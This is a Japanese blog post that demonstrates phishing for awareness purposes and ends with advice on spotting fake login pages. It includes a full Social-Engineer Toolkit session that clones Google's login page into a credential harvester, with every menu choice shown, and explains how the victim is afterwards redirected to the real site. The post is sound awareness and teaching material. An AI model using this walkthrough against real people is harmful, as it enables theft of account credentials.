注意喚起としてのフィッシングサイトの作り方

山城 さん
沖縄の山城さんのブログ

フィッシングとは、主に信頼されている第三者になりすまして情報を不正に入手することを指します。総務省ではフィッシングのことを以下のように解説しています。

フィッシング詐欺とは、送信者を詐称した電子メールを送りつけたり、偽の電子メールから偽のホームページに接続させたりするなどの方法で、クレジットカード番号、アカウント情報(ユーザID、パスワードなど)といった重要な個人情報を盗み出す行為のことを言います。なお、フィッシングはphishingという綴りで、魚釣り(fishing)と洗練(sophisticated)から作られた造語であると言われています。

フィッシング詐欺に注意 | 総務省 国民のための情報セキュリティサイト

余談ですが、大企業の社長や役員などの”大物”を狙うフィッシングのことをホエーリング(=鯨を釣る)と言います。IT用語は良い意味でふざけたネーミングを付けることがままあるので面白いですね。

話を戻しますが、本記事では攻撃者が実際に使用しているツールを使用して、フィッシングがどのように行われるのかを紹介すると共に、被害に遭わない為の注意点などを解説してきます。

SET(setoolkit)を使用してフィッシングサイトを作成

フィッシングサイトが平易に作成できるSocial Engineering Toolkit(SET)というツールを使用して、Googleのログイン画面を作成していきます。

なお、SETはKali Linuxにプリインストールされているので、SETのインストール方法等は省略します。

SETを使ってしまえば以下のハイライト行の入力だけでフィッシングサイトが完成します。

┌──(kali㉿kali)-[~]
└─$ sudo setoolkit

         .M"""bgd `7MM"""YMM MMP""MM""YMM
        ,MI    "Y   MM    `7 P'   MM   `7
        `MMb.       MM   d        MM
          `YMMNq.   MMmmMM        MM
        .     `MM   MM   Y  ,     MM
        Mb     dM   MM     ,M     MM
        P"Ybmmd"  .JMMmmmmMMM   .JMML.

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
                      Version: 8.0.3
                    Codename: 'Maverick'
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]
        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

   The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

   It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!


 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

  99) Return back to the main menu.

set> 2

The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) HTA Attack Method

  99) Return to Main Menu

set:webattack>3

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   
   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report

-------------------------------------------------------------------------------
--- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * ---

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this 
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really 
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.0.129]:
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:https://accounts.google.com/

[*] Cloning the website: https://accounts.google.com/                                                               
[*] This could take a little bit...                                                                                 

The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.                                                                                                
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80                                                                      
[*] Information will be displayed to you as it arrives below:                                                       
[*] Looks like the web_server can't bind to 80. Are you running Apache or NGINX?
Do you want to attempt to disable Apache? [y/n]: y
Stopping apache2 (via systemctl): apache2.service.
Stopping nginx (via systemctl): nginx.service.
[*] Successfully stopped Apache. Starting the credential harvester.
[*] Harvester is ready, have victim browse to your site.

SETで作成したフィッシングサイトを本物と比較

上記で作成したフィッシングサイトと本物のサイトを比較してみます。以下の上図が本物のGoogleのログイン画面で、下図が偽物のGoogleのログイン画面です。

このように、見た目上の違いはほとんどありません。フィッシングサイトを見た目で見破ることは非常に困難と言えます。

フィッシングサイトで情報を入力するとどうなるのか

フィッシングサイトで情報を入力するとどうなるのかを実際に見てみます。以下のようにメールアドレスを入力してエンターを押下します。

攻撃者は、その情報をリアルタイムで受け取ることもできますし、ログとして後から見直すこともできます。

なお、SETで作成したフィッシングサイトの場合、エンターを押下した後は本物のGoogleのログインページにリダイレクトされる作りになっています。

一般的にユーザは1度ログインに失敗した程度では特に気に留めず(「ミスタイプしたのかな」くらいにしか考えない)、2度目で本物のログインページでログインに成功すると、1度目にログインに失敗したことは忘れてしまいます。

フィッシング被害に遭わない為には

フィッシングの被害を回避する方法の1つとして、アドレスバーのURLに注視するという方法があります。

攻撃者がアドレスバーを操作することは通常困難であるため、アドレスバーのURLは基本的には信頼できる情報です。例外として、DNSキャッシュポイズニングを攻撃者が用いた場合はURLが正しくても攻撃者のサーバへアクセスしてしまいますが、レアなケースですのでここでは触れません。

例えば今回の場合は、「google.com」ではなく「localhost」となっているため、偽物であることが一目でわかります。

ただし、これにも注意すべき点があり、攻撃者が本物のURL(ドメイン)に似せたURLを用意している可能性があるということです。

例えば以下において攻撃者は「google.com」に似せた「goog1e.com」というURLを使用して利用者を騙そうと試みています。

※アルファベットの”l”の部分が数字の”1″になっている

このように、フィッシングの手法は意外と巧妙で、多くの人が被害に遭ってしまう理由が理解できたかと思います。

自分は大丈夫とは思わずに、少しでも違和感を感じた場合は相手への直接確認やサポートへの問い合わせ、もしくは疑わしいリンクからアクセスせず検索結果から当該サイトへアクセスするなどの対応が必要です。

About the author

山城さん

沖縄の山城さん

コメントする

Posts